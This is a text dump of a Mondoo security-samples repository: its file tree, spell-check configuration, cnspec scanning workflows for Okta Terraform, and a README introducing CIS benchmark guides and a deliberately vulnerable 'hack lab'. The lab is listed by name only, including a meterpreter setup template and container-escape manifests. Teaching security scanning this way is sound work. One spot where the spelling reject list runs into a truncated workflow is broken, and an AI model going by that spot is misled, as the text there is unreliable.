├── .copywrite.hcl ├── .github ├── actions │ └── spelling │ │ ├── README.md │ │ ├── advice.md │ │ ├── allow.txt │ │ ├── excludes.txt │ │ ├── expect.txt │ │ ├── line_forbidden.patterns │ │ ├── only.txt │ │ ├── patterns.txt │ │ └── reject.txt ├── social │ ├── preview_dark.jpg │ └── preview_light.jpg └── workflows │ ├── okta-provisioning.yaml │ └── spell-check.yaml ├── .gitignore ├── .prettierignore ├── LICENSE ├── Makefile ├── README.md ├── aws ├── cis-benchmark │ ├── README.md │ ├── aws-account-cis-benchmark.gif │ ├── aws-account-cis-benchmark.mp4 │ └── recording.tape ├── ec2-instance-connect │ ├── README.md │ ├── aws-ec2-instance.gif │ ├── aws-ec2-instance.mp4 │ └── recording.tape ├── ec2-instance-proxy │ ├── README.md │ ├── amis.tf │ ├── main.tf │ ├── outputs.tf │ ├── providers.tf │ └── variables.tf ├── ec2-instances │ ├── README.md │ ├── amis.tf │ ├── main.tf │ ├── outputs.tf │ ├── providers.tf │ └── variables.tf ├── iam-mfa │ ├── README.md │ ├── aws-iam-mfa.gif │ ├── aws-iam-mfa.mp4 │ └── recording.tape └── public-s3 │ ├── README.md │ ├── aws-public-s3.gif │ ├── aws-public-s3.mp4 │ └── recording.tape ├── azure ├── README.md ├── main.tf ├── output.tf ├── variables.tf └── versions.tf ├── gcp └── cis-benchmark │ ├── README.md │ ├── gcp-project-cis-benchmark.gif │ ├── gcp-project-cis-benchmark.mp4 │ └── recording.tape ├── github └── cis-supply-chain │ ├── README.md │ ├── github-supply-chain.gif │ ├── github-supply-chain.mp4 │ └── recording.tape ├── graphql-api ├── .gitignore ├── Compliance │ ├── Framework- Disable.bru │ ├── Framework- Enable.bru │ └── folder.bru ├── Findings │ ├── Asset- Findings - Advisories.bru │ ├── Asset- Findings - Check.bru │ ├── Asset- Findings - Software.bru │ ├── Asset- Findings - Vulnerabiltiies.bru │ ├── Space- Findings.bru │ └── folder.bru ├── IAM │ ├── SSH- Add Key.bru │ ├── SSH- List Keys.bru │ ├── Service Account- List.bru │ ├── WIF- Create Binding.bru │ ├── WIF- Exchange Token.bru │ ├── WIF- List Bindings.bru │ └── folder.bru ├── Inventory │ ├── Assets- List.bru │ ├── Query Pack- List Available.bru │ ├── Query Pack- List Enabled.bru │ ├── Search.bru │ └── folder.bru ├── README.md ├── Security Model │ ├── Policy- Disable.bru │ ├── Policy- Enable.bru │ ├── Policy- List Available.bru │ ├── Policy- List Enabled.bru │ └── folder.bru ├── Status │ ├── Health Check.bru │ └── folder.bru ├── bruno.json ├── environments │ └── Mondoo.bru └── organization │ ├── Org- List Members.bru │ ├── Org- List Spaces.bru │ └── folder.bru ├── hack-lab ├── container-escape │ ├── README.md │ ├── assets │ │ ├── container-escape-service-account.graphml │ │ ├── container-escape-service-account.png │ │ ├── container-escape.graphml │ │ ├── container-escape.png │ │ ├── dvwa-deployment-no-privileged.yml │ │ ├── dvwa-deployment.yml │ │ ├── dvwa_db_reset.png │ │ ├── dvwa_login.png │ │ ├── escape-to-node.yaml │ │ ├── kali-deployment.yml │ │ ├── mondoo-dashboard-k8s-install-commands-aks.png │ │ ├── mondoo-dashboard-k8s-install-commands-eks.png │ │ ├── mondoo-dashboard-k8s-integration-aks.png │ │ ├── mondoo-dashboard-k8s-integration-eks.png │ │ └── rolebinding-abuse.yaml │ ├── aws │ │ ├── README.md │ │ ├── main.tf │ │ ├── outputs.tf │ │ ├── provider.tf │ │ ├── templates │ │ │ └── setup_metapreter │ │ ├── variables.tf │ │ └── versions.tf │ ├── azure │ │ ├── README.md │ │ ├── main.tf │ │ ├── output.tf │ │ ├── templates │ │ │ └── prepare-hacking-vm.tpl │ │ ├── variables.tf │ │ └── versions.tf │ ├── gcp │ │ ├── README.md │ │ ├── main.tf │ │ ├── outputs.tf │ │ ├── templates │ │ │ └── prepare-hacking-vm.tpl │ │ ├── variables.tf │ │ └── versions.tf │ └── minikube │ │ ├── README.md │ │ ├── main.tf │ │ ├── multi_deploy.sh │ │ ├── multi_destroy.sh │ │ ├── output.tf │ │ ├── provider.tf │ │ ├── templates │ │ ├── change-password.tpl │ │ └── minikube-install.tpl │ │ ├── variables.tf │ │ └── versions.tf └── windows-hack-environment │ ├── README.md │ ├── ansible-inventory │ ├── ansible.cfg │ ├── roles │ │ ├── adcs-enrollment │ │ │ ├── files │ │ │ │ └── gpo_backup │ │ │ │ │ ├── manifest.xml │ │ │ │ │ └── {7019A447-1699-4D1A-AF1F-FB6064E39B62} │ │ │ │ │ ├── Backup.xml │ │ │ │ │ ├── DomainSysvol │ │ │ │ │ └── GPO │ │ │ │ │ │ └── Machine │ │ │ │ │ │ ├── Microsoft │ │ │ │ │ │ └── Windows NT │ │ │ │ │ │ │ └── SecEdit │ │ │ │ │ │ │ └── GptTmpl.inf │ │ │ │ │ │ └── registry.pol │ │ │ │ │ ├── bkupInfo.xml │ │ │ │ │ └── gpreport.xml │ │ │ ├── library │ │ │ │ ├── win_adcs_template.ps1 │ │ │ │ ├── win_adcs_template.py │ │ │ │ ├── win_gpo_link.ps1 │ │ │ │ ├── win_gpo_link.py │ │ │ │ ├── win_gpo_reg.ps1 │ │ │ │ └── win_gpo_reg.py │ │ │ ├── tasks │ │ │ │ ├── adcs_template.yml │ │ │ │ ├── gpo.yml │ │ │ │ └── main.yml │ │ │ ├── templates │ │ │ │ └── adcs_template.xml.j2 │ │ │ └── vars │ │ │ │ └── main.yml │ │ ├── windows-ad │ │ │ ├── defaults │ │ │ │ └── main.yml │ │ │ └── tasks │ │ │ │ ├── create-domain.yml │ │ │ │ ├── create-local-admin.yml │ │ │ │ ├── dns-config.yml │ │ │ │ ├── join-to-domain.yml │ │ │ │ └── prepare-system.yml │ │ └── windows-exchange │ │ │ ├── defaults │ │ │ └── main.yml │ │ │ └── tasks │ │ │ └── main.yml │ ├── windows-deploy-ad.yml │ ├── windows-dvwa.yml │ └── windows-exchange.yml │ ├── main.tf │ ├── output.tf │ ├── provider.tf │ ├── templates │ └── change-password.tftpl │ ├── variables.tf │ └── versions.tf └── okta └── okta-terraform-provisioning ├── README.md ├── assets ├── healthinsights-passed.png └── okta-dev.png ├── main.tf ├── okta_factor.tf ├── okta_policy_password_default.tf ├── okta_security_notification_emails.tf ├── okta_threat_insight_settings.tf ├── provider.tf └── variables.tf /.copywrite.hcl: -------------------------------------------------------------------------------- 1 | schema_version = 1 2 | 3 | project { 4 | license = "MPL-2.0" 5 | copyright_holder = "Mondoo, Inc." 6 | copyright_year = 2023 7 | 8 | # (OPTIONAL) A list of globs that should not have copyright/license headers. 9 | # Supports doublestar glob patterns for more flexibility in defining which 10 | # files or folders should be ignored 11 | header_ignore = [ 12 | "**/*.tf", 13 | "**/testdata/**", 14 | "**/*.pb.go", 15 | "**/*_string.go", 16 | ] 17 | } -------------------------------------------------------------------------------- /.github/actions/spelling/README.md: -------------------------------------------------------------------------------- 1 | # check-spelling/check-spelling configuration 2 | 3 | | File | Purpose | Format | Info | 4 | | -------------------------------------------------- | --------------------------------------------------------------- | --------------------------------------------------------- | ---------------------------------------------------------------------------------------------------- | 5 | | [allow.txt](allow.txt) | Add words to the dictionary | one word per line (only letters and `'`s allowed) | [allow](https://github.com/check-spelling/check-spelling/wiki/Configuration#allow) | 6 | | [reject.txt](reject.txt) | Remove words from the dictionary (after allow) | grep pattern matching whole dictionary words | [reject](https://github.com/check-spelling/check-spelling/wiki/Configuration-Examples%3A-reject) | 7 | | [excludes.txt](excludes.txt) | Files to ignore entirely | perl regular expression | [excludes](https://github.com/check-spelling/check-spelling/wiki/Configuration-Examples%3A-excludes) | 8 | | [only.txt](only.txt) | Only check matching files (applied after excludes) | perl regular expression | [only](https://github.com/check-spelling/check-spelling/wiki/Configuration-Examples%3A-only) | 9 | | [patterns.txt](patterns.txt) | Patterns to ignore from checked lines | perl regular expression (order matters, first match wins) | [patterns](https://github.com/check-spelling/check-spelling/wiki/Configuration-Examples%3A-patterns) | 10 | | [line_forbidden.patterns](line_forbidden.patterns) | Patterns to flag in checked lines | perl regular expression (order matters, first match wins) | [patterns](https://github.com/check-spelling/check-spelling/wiki/Configuration-Examples%3A-patterns) | 11 | | [expect.txt](expect.txt) | Expected words that aren't in the dictionary | one word per line (sorted, alphabetically) | [expect](https://github.com/check-spelling/check-spelling/wiki/Configuration#expect) | 12 | | [advice.md](advice.md) | Supplement for GitHub comment when unrecognized words are found | GitHub Markdown | [advice](https://github.com/check-spelling/check-spelling/wiki/Configuration-Examples%3A-advice) | 13 | 14 | Note: you can replace any of these files with a directory by the same name (minus the suffix) 15 | and then include multiple files inside that directory (with that suffix) to merge multiple files together. 16 | -------------------------------------------------------------------------------- /.github/actions/spelling/advice.md: -------------------------------------------------------------------------------- 1 | 2 |
If the flagged items are false positives 3 | 4 | If items relate to a ... 5 | 6 | - binary file (or some other file you wouldn't want to check at all). 7 | 8 | Please add a file path to the `excludes.txt` file matching the containing file. 9 | 10 | File paths are Perl 5 Regular Expressions - you can [test](https://www.regexplanet.com/advanced/perl/) yours before committing to verify it will match your files. 11 | 12 | `^` refers to the file's path from the root of the repository, so `^README\.md$` would exclude README.md (on whichever branch you're using). 13 | 14 | - well-formed pattern. 15 | 16 | If you can write a [pattern](https://github.com/check-spelling/check-spelling/wiki/Configuration-Examples:-patterns) that would match it, 17 | try adding it to the `patterns.txt` file. 18 | 19 | Patterns are Perl 5 Regular Expressions - you can [test](https://www.regexplanet.com/advanced/perl/) yours before committing to verify it will match your lines. 20 | 21 | Note that patterns can't match multiline strings. 22 | 23 |
24 | -------------------------------------------------------------------------------- /.github/actions/spelling/allow.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/.github/actions/spelling/allow.txt -------------------------------------------------------------------------------- /.github/actions/spelling/excludes.txt: -------------------------------------------------------------------------------- 1 | # See https://github.com/check-spelling/check-spelling/wiki/Configuration-Examples:-excludes 2 | (?:^|/)(?i)COPYRIGHT 3 | (?:^|/)(?i)LICEN[CS]E 4 | (?:^|/)go\.sum$ 5 | (?:^|/)package(?:-lock|)\.json$ 6 | (?:^|/)vendor/ 7 | ignore$ 8 | \.a$ 9 | \.ai$ 10 | \.avi$ 11 | \.bmp$ 12 | \.bz2$ 13 | \.crt$ 14 | \.dll$ 15 | \.DS_Store$ 16 | \.eot$ 17 | \.exe$ 18 | \.gif$ 19 | \.gitattributes$ 20 | \.graffle$ 21 | \.gz$ 22 | \.icns$ 23 | \.ico$ 24 | \.jar$ 25 | \.jpe?g$ 26 | \.key$ 27 | \.lib$ 28 | \.lock$ 29 | \.map$ 30 | \.min\.. 31 | \.mod$ 32 | \.mp[34]$ 33 | \.o$ 34 | \.ocf$ 35 | \.otf$ 36 | \.pdf$ 37 | \.pem$ 38 | \.png$ 39 | \.psd$ 40 | \.s$ 41 | \.svg$ 42 | \.tiff?$ 43 | \.ttf$ 44 | \.wav$ 45 | \.webm$ 46 | \.webp$ 47 | \.woff2?$ 48 | \.zip$ 49 | ^\.github/actions/spelling/ 50 | ^\Q.github/workflows/spelling.yml\E$ 51 | -------------------------------------------------------------------------------- /.github/actions/spelling/expect.txt: -------------------------------------------------------------------------------- 1 | akic 2 | baf 3 | bru 4 | cgrp 5 | chronos 6 | Ckxomxaar 7 | cpe 8 | cqc 9 | dfdaf 10 | Dvf 11 | dvwa 12 | eecdfd 13 | FFn 14 | fjw 15 | fzvkw 16 | Gci 17 | hacklab 18 | hnlj 19 | hostpid 20 | hushlogin 21 | IBAA 22 | icanhazip 23 | Ikp 24 | JFUz 25 | Jhb 26 | kalilinux 27 | kbcxs 28 | kvct 29 | Kyybse 30 | lhost 31 | linux 32 | lport 33 | messagebus 34 | meterpreter 35 | MIIJKg 36 | msfconsole 37 | nch 38 | NCIs 39 | ndots 40 | nginx 41 | noproxy 42 | OPENSSH 43 | Perfetto 44 | pfuj 45 | pmuench 46 | procs 47 | randomart 48 | rdm 49 | rhel 50 | rkd 51 | secops 52 | Thu 53 | timesync 54 | umxf 55 | unminimize 56 | unnyfkbt 57 | upperdir 58 | vmss 59 | webserver 60 | xdsp 61 | XVCJ 62 | -------------------------------------------------------------------------------- /.github/actions/spelling/only.txt: -------------------------------------------------------------------------------- 1 | \.md$ 2 | -------------------------------------------------------------------------------- /.github/actions/spelling/patterns.txt: -------------------------------------------------------------------------------- 1 | # See https://github.com/check-spelling/check-spelling/wiki/Configuration-Examples:-patterns 2 | 3 | # acceptable duplicates 4 | # ls directory listings 5 | [-bcdlpsw](?:[-r][-w][-sx]){3}\s+\d+\s+(\S+)\s+\g{-1}\s+\d+\s+ 6 | 7 | # Commit message -- Signed-off-by and friends 8 | ^\s*(?:(?:Based-on-patch|Co-authored|Helped|Mentored|Reported|Reviewed|Signed-off)-by|Thanks-to): (?:[^<]*<[^>]*>|[^<]*)\s*$ 9 | 10 | # Autogenerated revert commit message 11 | ^This reverts commit [0-9a-f]{40}\.$ 12 | 13 | # ignore long runs of a single character: 14 | \b([A-Za-z])\g{-1}{3,}\b 15 | 16 | # ignore funky space IDs that blow up spell checking 17 | api\.mondoo\.app\/space.*\b 18 | console\.mondoo\.com\/space.*\b 19 | 20 | # azure subscription ID 21 | [0-9A-Fa-f]{8}-([0-9A-Fa-f]{4}-){3}[0-9A-Fa-f]{12} 22 | 23 | # azure subscriptions URL 24 | \/subscriptions\/\S* 25 | 26 | # docker container 27 | \b[a-z,0-9]{12}\b 28 | 29 | # URLs in markdown links / images 30 | ]\(.*\) 31 | 32 | # Azure Key Vault Vault. It feels wrong, but it's technically right 33 | Key Vault Vault 34 | 35 | # luna containers in scan output 36 | \bluna/.*\b 37 | 38 | # this comes up in permissions and is valid 39 | \broot root\b 40 | 41 | # AWS resources 42 | (ami|subnet|vpc|sg)-[0-9a-fA-F]{17} 43 | 44 | # http and https URLs 45 | https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&//=]*) 46 | 47 | # registry key paths 48 | HKEY_[\w\\]* 49 | 50 | # Container digests 51 | \bsha256:\w* 52 | 53 | # mime types 54 | \bapplication\/\S* 55 | 56 | # skip mql uids 57 | uid:\s.*$ 58 | 59 | # ARN values 60 | \barn:\S* 61 | 62 | # mac user dir path 63 | \/Users\/\S* 64 | 65 | # AWS Token, ID access key, etc 66 | aws_session_token\s+\=(\s+)?.+ 67 | aws_access_key_id\s+\=(\s+)?.+ 68 | aws_secret_access_key\s+\=(\s+)?.+ 69 | 70 | # PGP 71 | \b(?:[0-9A-F]{4} ){9}[0-9A-F]{4}\b 72 | # GPG keys 73 | \b(?:[0-9A-F]{4} ){5}(?: [0-9A-F]{4}){5}\b 74 | 75 | # uuid 76 | \b[0-9a-fA-F]{8}-(?:[0-9a-fA-F]{4}-){3}[0-9a-fA-F]{12}\b 77 | 78 | # curl arguments 79 | \b(?:\\n|)curl(?:\s+-[a-zA-Z]{1,2}\b)*(?:\s+-[a-zA-Z]{3,})(?:\s+-[a-zA-Z]+)* 80 | 81 | # set arguments 82 | \bset(?:\s+-[abefimouxE]{1,2})*\s+-[abefimouxE]{3,}(?:\s+-[abefimouxE]+)* 83 | 84 | # tar arguments 85 | \b(?:\\n|)g?tar(?:\.exe|)(?:(?:\s+--[-a-zA-Z]+|\s+-[a-zA-Z]+|\s[ABGJMOPRSUWZacdfh-pr-xz]+\b)(?:=[^ ]*|))+ 86 | 87 | # file permissions 88 | ['"`\s][-bcdLlpsw](?:[-r][-w][-Ssx]){2}[-r][-w][-SsTtx]\+?['"`\s] 89 | 90 | # score score is valid in MQL docs 91 | score score 92 | 93 | # SHA256 values 94 | \nSHA256:\S* 95 | 96 | # long cert lines in config 97 | \bcluster_certificate_authority_data = .* 98 | -------------------------------------------------------------------------------- /.github/actions/spelling/reject.txt: -------------------------------------------------------------------------------- 1 | ad-hoc 2 | ^attache$ 3 | benefitting 4 | occurences? 5 | ^dependan.* 6 | ^oer$ 7 | Sorce 8 | ^[Ss]pae.* 9 | ^untill$ 10 | ^untilling$ 11 | ^wether.* 12 | \w*(?> $GITHUB_STEP_SUMMARY 65 | echo "" >> $GITHUB_STEP_SUMMARY 66 | cnspec scan terraform ./okta/okta-terraform-provisioning --asset-name ${{ vars.OKTA_ORG_NAME }}-terraform-hcl >> $GITHUB_STEP_SUMMARY 67 | echo "CNSPEC_PRE_SCAN=$GITHUB_STEP_SUMMARY" >> $GITHUB_ENV 68 | 69 | terraform-plan: 70 | name: Generate Terraform Plan 71 | runs-on: ubuntu-latest 72 | container: hashicorp/terraform:1.4 73 | needs: cnspec-scan-terraform-hcl 74 | 75 | steps: 76 | - name: Check out repository code 77 | uses: actions/checkout@v3 78 | 79 | - id: 'google-cloud-auth' 80 | name: 'Authenticate to Google Cloud' 81 | uses: 'google-github-actions/auth@v1' 82 | with: 83 | credentials_json: '${{ secrets.GOOGLE_CREDENTIALS }}' 84 | 85 | - name: Mitigate that fancy action/cache@v3 does not work with busybox tar on alpine 86 | run: apk add --no-cache tar 87 | 88 | - name: Use cache to share files between jobs 89 | uses: actions/cache@v3 90 | id: terraform-plan 91 | with: 92 | key: ${{ runner.os }}-terraform-${{ hashFiles('**/okta/okta-terraform-provisioning/**') }} 93 | path: ./okta/okta-terraform-provisioning/plan.json 94 | 95 | - name: Terraform init 96 | run: terraform -chdir="./okta/okta-terraform-provisioning" init 97 | 98 | - name: Terraform plan 99 | run: terraform -chdir="./okta/okta-terraform-provisioning" plan -out=plan.out 100 | 101 | - name: Terraform show 102 | run: terraform -chdir="./okta/okta-terraform-provisioning" show -json plan.out > ./okta/okta-terraform-provisioning/plan.json 103 | 104 | post-plan-scan: 105 | name: Scan Terraform (post-plan) 106 | needs: terraform-plan 107 | runs-on: ubuntu-latest 108 | container: mondoo/cnspec:9 109 | 110 | steps: 111 | - name: Check out repository code 112 | uses: actions/checkout@v3 113 | 114 | - name: Use cache to share files between jobs 115 | uses: actions/cache@v3 116 | id: terraform-plan 117 | with: 118 | key: ${{ runner.os }}-terraform-${{ hashFiles('**/okta/okta-terraform-provisioning/**') }} 119 | path: ./okta/okta-terraform-provisioning/plan.json 120 | 121 | - name: Scan ${{ vars.OKTA_ORG_NAME }} Terraform Plan (post-plan) 122 | run: | 123 | echo "### ${{ vars.OKTA_ORG_NAME }} Terraform post-plan security scan :shield:" >> $GITHUB_STEP_SUMMARY 124 | echo "" >> $GITHUB_STEP_SUMMARY 125 | cnspec scan terraform plan ./okta/okta-terraform-provisioning/plan.json --asset-name ${{ vars.OKTA_ORG_NAME }}-terraform-plan >> $GITHUB_STEP_SUMMARY 126 | echo "CNSPEC_PRE_SCAN=$GITHUB_STEP_SUMMARY" >> $GITHUB_ENV 127 | env: 128 | MONDOO_DETECT_CICD: false 129 | 130 | terraform-apply: 131 | name: Terraform Apply 132 | runs-on: ubuntu-latest 133 | container: hashicorp/terraform:1.4 134 | needs: post-plan-scan 135 | 136 | steps: 137 | - name: Check out repository code 138 | uses: actions/checkout@v3 139 | 140 | - id: 'google-cloud-auth' 141 | name: 'Authenticate to Google Cloud' 142 | uses: 'google-github-actions/auth@v1' 143 | with: 144 | credentials_json: '${{ secrets.GOOGLE_CREDENTIALS }}' 145 | 146 | - name: Terraform init 147 | run: terraform -chdir="./okta/okta-terraform-provisioning" init 148 | 149 | - name: Terraform Apply 150 | run: terraform -chdir="./okta/okta-terraform-provisioning" apply -auto-approve 151 | 152 | post-apply-scan: 153 | name: Scan Okta Org (Post-Apply) 154 | needs: terraform-apply 155 | runs-on: ubuntu-latest 156 | container: mondoo/cnspec:9 157 | 158 | steps: 159 | - name: Check out repository code 160 | uses: actions/checkout@v3 161 | 162 | - name: Scan ${{ vars.OKTA_ORG_NAME }}.okta.com 163 | run: | 164 | echo "### ${{ vars.OKTA_ORG_NAME }}.okta.com security scan (post-apply) :shield:" >> $GITHUB_STEP_SUMMARY 165 | echo "" >> $GITHUB_STEP_SUMMARY 166 | cnspec scan okta --organization ${{ vars.OKTA_ORG_NAME }}.okta.com --token ${{ secrets.OKTA_API_TOKEN }} --asset-name ${{ vars.OKTA_ORG_NAME }}.okta.com >> $GITHUB_STEP_SUMMARY 167 | echo "CNSPEC_PRE_SCAN=$GITHUB_STEP_SUMMARY" >> $GITHUB_ENV -------------------------------------------------------------------------------- /.github/workflows/spell-check.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Spell Checking 3 | 4 | on: 5 | pull_request: 6 | types: [opened, reopened, synchronize] 7 | 8 | jobs: 9 | spelling: 10 | name: Run spell check 11 | permissions: 12 | contents: read 13 | pull-requests: read 14 | actions: read 15 | outputs: 16 | followup: ${{ steps.spelling.outputs.followup }} 17 | runs-on: ubuntu-latest 18 | if: "contains(github.event_name, 'pull_request') || github.event_name == 'push'" 19 | concurrency: 20 | group: spelling-${{ github.event.pull_request.number || github.ref }} 21 | # note: If you use only_check_changed_files, you do not want cancel-in-progress 22 | cancel-in-progress: true 23 | steps: 24 | - name: check-spelling 25 | id: spelling 26 | uses: check-spelling/check-spelling@v0.0.24 27 | with: 28 | disable_checks: noisy-file 29 | suppress_push_for_open_pull_request: 1 30 | checkout: true 31 | post_comment: 0 32 | dictionary_source_prefixes: '{"mondoo": "https://raw.githubusercontent.com/mondoohq/spellcheck-dictionary/main/", "cspell": "https://raw.githubusercontent.com/check-spelling/cspell-dicts/v20230509/dictionaries/"}' 33 | extra_dictionaries: cspell:aws/aws.txt 34 | cspell:filetypes/filetypes.txt 35 | cspell:software-terms/src/software-terms.txt 36 | cspell:software-terms/src/software-tools.txt 37 | cspell:companies/src/companies.txt 38 | mondoo:mondoo_dictionary.txt 39 | 40 | comment: 41 | name: Report 42 | runs-on: ubuntu-latest 43 | needs: spelling 44 | permissions: 45 | contents: write 46 | pull-requests: write 47 | if: (success() || failure()) && needs.spelling.outputs.followup 48 | steps: 49 | - name: comment 50 | uses: check-spelling/check-spelling@v0.0.22 51 | with: 52 | checkout: true 53 | task: ${{ needs.spelling.outputs.followup }} 54 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Local .terraform directories 2 | **/.terraform/* 3 | 4 | # .tfstate files 5 | *.tfstate 6 | *.tfstate.* 7 | 8 | # Crash log files 9 | crash.log 10 | crash.*.log 11 | 12 | # Exclude all .tfvars files, which are likely to contain sensitive data, such as 13 | # password, private keys, and other secrets. These should not be part of version 14 | # control as they are data points which are potentially sensitive and subject 15 | # to change depending on the environment. 16 | *.tfvars 17 | *.tfvars.json 18 | 19 | # Ignore override files as they are usually used to override resources locally and so 20 | # are not checked in 21 | override.tf 22 | override.tf.json 23 | *_override.tf 24 | *_override.tf.json 25 | 26 | # Include override files you do wish to add to version control using negated pattern 27 | # !example_override.tf 28 | 29 | # Include tfplan files to ignore the plan output of command: terraform plan -out=tfplan 30 | # example: *tfplan* 31 | 32 | # Ignore CLI configuration files 33 | .terraformrc 34 | terraform.rc 35 | 36 | # Ignore EKS cluster config 37 | eks-demo-config 38 | 39 | # Ignore Azure demo credentials 40 | aks-kubeconfig 41 | id_rsa 42 | 43 | **/.env 44 | 45 | # Terraform plan 46 | *tfplan* 47 | 48 | # Terraform Lock 49 | .terraform.lock* 50 | -------------------------------------------------------------------------------- /.prettierignore: -------------------------------------------------------------------------------- 1 | container-escape/dvwa-example/dvwa/ -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | # Install prettier gloablly via 2 | # yarn global add prettier --prefix /usr/local 3 | .PHONY: fmt 4 | fmt: 5 | prettier --write . 6 | 7 | .PHONY: test/fmt 8 | test/fmt: 9 | prettier --check . 10 | 11 | # Copywrite Check Tool: https://github.com/hashicorp/copywrite 12 | license: license/headers/check 13 | 14 | license/headers/check: 15 | copywrite headers --plan 16 | 17 | license/headers/apply: 18 | copywrite headers 19 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Security Scanning with cnspec, cnquery, and Mondoo Platform 2 | 3 | ![samples light-mode illustration](.github/social/preview_light.jpg#gh-light-mode-only) 4 | ![samples dark-mode illustration](.github/social/preview_dark.jpg#gh-dark-mode-only) 5 | 6 | Welcome to our comprehensive security scanning repository! In our ongoing effort to empower the highest standards of security, we've gathered a variety of examples and guides to help you conduct thorough security audits on your resources using `cnspec`, `cnquery`, and Mondoo Platform. Our examples, ranging from AWS services to GitHub repositories, are structured with a clear overview, prerequisites, step-by-step instructions, expected results, and troubleshooting tips. We trust these will serve as a beneficial starting point for your own security scanning needs. 7 | 8 | - [What are cnspec, cnquery, and Mondoo Platform?](#what-are-cnspec-cnquery-and-mondoo-platform) 9 | - [AWS](#aws) 10 | - [Performing CIS AWS Foundations Benchmark with cnspec](#performing-cis-aws-foundations-benchmark-with-cnspec) 11 | - [Checking Public Exposure of AWS S3 Buckets with cnspec](#checking-public-exposure-of-aws-s3-buckets-with-cnspec) 12 | - [Verifying MFA Status for AWS IAM Users](#verifying-mfa-status-for-aws-iam-users) 13 | - [Scanning an AWS EC2 Instance with cnspec using EC2 Instance Connect](#scanning-an-aws-ec2-instance-with-cnspec-using-ec2-instance-connect) 14 | - [GitHub](#github) 15 | - [Performing CIS GitHub Supply Chain Benchmark with cnspec](#performing-cis-github-supply-chain-benchmark-with-cnspec) 16 | - [GraphQL API Examples](#graphql-api-examples) 17 | - [Hack Lab](#hack-lab) 18 | - [Demonstrating Container Escape in Kubernetes](#demonstrating-container-escape-in-kubernetes) 19 | - [Playing with AWS EC2 Instances](#playing-with-aws-ec2-instances) 20 | - [Contributing](#contributing) 21 | 22 | ## What are cnspec, cnquery, and Mondoo Platform? 23 | 24 | `cnspec` is a powerful command-line tool designed for conducting security benchmark tests against various systems, providing insights into potential vulnerabilities and areas of improvement. 25 | 26 | `cnquery` is another versatile command-line tool that facilitates advanced querying against your infrastructure data, allowing you to understand and manage your infrastructure more effectively. 27 | 28 | Mondoo Platform is a cloud-native, security and compliance automation platform that enables businesses to secure their infrastructure continuously and at scale. 29 | 30 | Together, these provide a comprehensive approach to managing and maintaining the security posture of your systems. 31 | 32 | ## AWS 33 | 34 | ### Performing CIS AWS Foundations Benchmark with cnspec 35 | 36 | This guide provides an example on how to execute a CIS Amazon Web Services Foundations Benchmark on your AWS account using the `cnspec`. The CIS (Center for Internet Security) Amazon Web Services Foundations Benchmark provides a set of security configuration best practices for AWS. Performing this benchmark will help ensure that your AWS environment is secure and adheres to the principles of least privilege and defense in depth. 37 | 38 | ![cnspec running a CIS AWS Foundation Benchmark](./aws/cis-benchmark/aws-account-cis-benchmark.gif) 39 | 40 | - [Instructions](./aws/cis-benchmark/) 41 | 42 | ### Checking Public Exposure of AWS S3 Buckets with cnspec 43 | 44 | This example uses `cnspec` to check for publicly exposed AWS S3 buckets within your AWS account. Publicly exposed buckets can lead to unauthorized access or data breaches, and it's critical to ensure they are secure. 45 | 46 | ![cnspec running a AWS S3 bucket scan](./aws/public-s3/aws-public-s3.gif) 47 | 48 | - [Instructions](./aws/public-s3/) 49 | 50 | ### Verifying MFA Status for AWS IAM Users 51 | 52 | This guide demonstrates how to verify that all AWS IAM users have Multi-Factor Authentication (MFA) enabled. Ensuring MFA is crucial in securing your AWS resources as it offers an additional layer of protection by requiring users to provide at least two forms of identification. 53 | 54 | ![cnspec running a AWS IAM scan](./aws/iam-mfa/aws-iam-mfa.gif) 55 | 56 | - [Instructions](./aws/iam-mfa/) 57 | 58 | ### Scanning an AWS EC2 Instance with cnspec using EC2 Instance Connect 59 | 60 | This guide walks you through conducting a security scan on an AWS EC2 instance utilizing `cnspec` and EC2 Instance Connect. EC2 Instance Connect provides a secure and auditable means to connect to your instances, thereby eliminating the necessity to have an open public SSH port. 61 | 62 | ![cnspec running a AWS IAM scan](./aws/ec2-instance-connect/aws-ec2-instance.gif) 63 | 64 | - [Instructions](./aws/ec2-instance-connect/) 65 | 66 | ## GitHub 67 | 68 | ### Performing CIS GitHub Supply Chain Benchmark with cnspec 69 | 70 | This guide provides an example on how to execute the CIS (Center for Internet Security) GitHub Benchmark on GitHub repositories and organizations using the `cnspec` and Mondoo Platform. These benchmarks offer a standardized set of procedures to assess the security posture of GitHub repositories and organizations, helping to identify vulnerabilities or potential areas for security enhancements. 71 | 72 | ![cnspec running a GitHub organization scan](./github/cis-supply-chain/github-supply-chain.gif) 73 | 74 | - [Instructions](./github/cis-supply-chain/) 75 | 76 | ## GraphQL API Examples 77 | 78 | The [examples](./graphql-api) demonstrate how to query and interact with Mondoo Platform using GraphQL. 79 | 80 | ## Hack Lab 81 | 82 | The Hack Lab is a collection of vulnerable systems that can be used to learn and practice security concepts. The Hack Lab is a great way to get started with security scanning and learn how to use `cnspec` and `cnquery` to identify and resolve security issues. 83 | 84 | ### Demonstrating Container Escape in Kubernetes 85 | 86 | This houses demonstration scenarios showcasing container escapes in Kubernetes environments, particularly in AKS (Azure Kubernetes Service), EKS (Amazon Elastic Kubernetes Service) and GKE (Google Container Engine). These scenarios can serve as engaging demonstrations using Mondoo. 87 | 88 | - [Instructions](./hacklab/container-escape/) 89 | 90 | ## Playing with AWS EC2 Instances 91 | 92 | The AWS EC2 Instances is a terraform to deploy hardened and not hardened Windows as well as Linux systems. 93 | 94 | - [Instructions](./aws/ec2-instance/) 95 | 96 | ## Contributing 97 | 98 | We welcome contributions! Feel free to submit pull requests for new examples or improvements to existing ones. If you encounter any issues or have questions, please open an issue in this repository or join our [GitHub discussions](https://github.com/orgs/mondoohq/discussions) page. We're here to help! 99 | -------------------------------------------------------------------------------- /aws/cis-benchmark/README.md: -------------------------------------------------------------------------------- 1 | # Performing CIS AWS Foundations Benchmark with cnspec 2 | 3 | ## Overview 4 | 5 | This guide provides an 